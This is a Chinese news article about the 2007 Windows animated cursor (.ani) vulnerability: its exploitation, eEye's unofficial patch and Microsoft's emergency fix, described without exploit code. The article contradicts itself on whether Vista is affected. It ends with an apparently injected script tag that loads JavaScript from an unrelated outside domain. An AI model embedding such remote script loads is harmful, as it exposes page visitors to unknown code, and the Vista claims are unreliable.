上周四,微软发表了一份安全报告,确认了Windows动画光标(.ani)漏洞的存在和危害性。
上周五,Windows动画光标(.ani)漏洞即被利用,很多微软操作系统的用户遭到恶意攻击。
上周六,非官方组织EEYE开发了针对此漏洞的补丁(作者Derek Soeder - eEye Digital Security),经测试,该补丁可很好的解决该漏洞引发的问题, 安装此补丁即可杜绝该漏洞导致的问题。
上周日,也许是微软面子上有些挂不住了,这么大的一个安全漏洞被别人发现,而且第一个漏洞补丁程序是由“民间人士”发布,微软于美国当地时间星期日表示“会很快提前拿出一个紧急补丁,以应付遭到利用的Windows安全漏洞。”
Windows动画光标(.ani)漏洞并不针对Vista,Windows 2000 SP4、Windows XP SP2、Windows Server 2003 SP2均未能幸免。
微软在一封E-mail中表示,由于相关测试已经提前完成,所以微软决定在当地时间本周二就发布安全补丁,不再等到4月10日的月度“补丁日”。由此也可以看出该漏洞的危害程度有多大!
微软称,对攻击数据的分析显示“攻击和用户受影响范围非常有限”,用户只要更新发布后的补丁即可“确保安全”。此外,微软称准备追究攻击者法律责任。
附Windows动画光标(.ani)漏洞攻击的相关特点
Microsoft Windows在处理畸形的动画图标文件 (.ani) 时存在缓冲区溢出漏洞, 远程攻击者可能利用此漏洞控制用户机器。Microsoft Windows在处理畸形文件 (.ani) 时没有正确地验证ANI头中所指定的大小,导致栈溢出漏洞。如果用户受骗使用IE访问了恶意站点或打开了恶意的邮件消息的话,就会触发这个溢出,导致执行任意代码。
Windows资源管理器也会处理一些文件扩展名的ANI文件,如.ani、.cur、.ico等. 受影响的系统包括: Microsoft Windows Vista 所有版本; Microsoft Windows XP 所有版本;Microsoft Windows Server 2003 SP1; Microsoft Windows Server 2003; Microsoft Windows 2000 所有版本.
目前国内外很多网站都开始利用该漏洞传播恶意软件及盗号木马、蠕虫病毒,该漏洞利用程序通常伪装成一个图片,只要点击了带有恶意代码图片的网站或邮件就会被感染上恶意程序,无论是IE6或IE7,或是FireFoxOperaIE浏览器均在攻击范围内。
文章来源于 http://vista.zol.com.cn 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>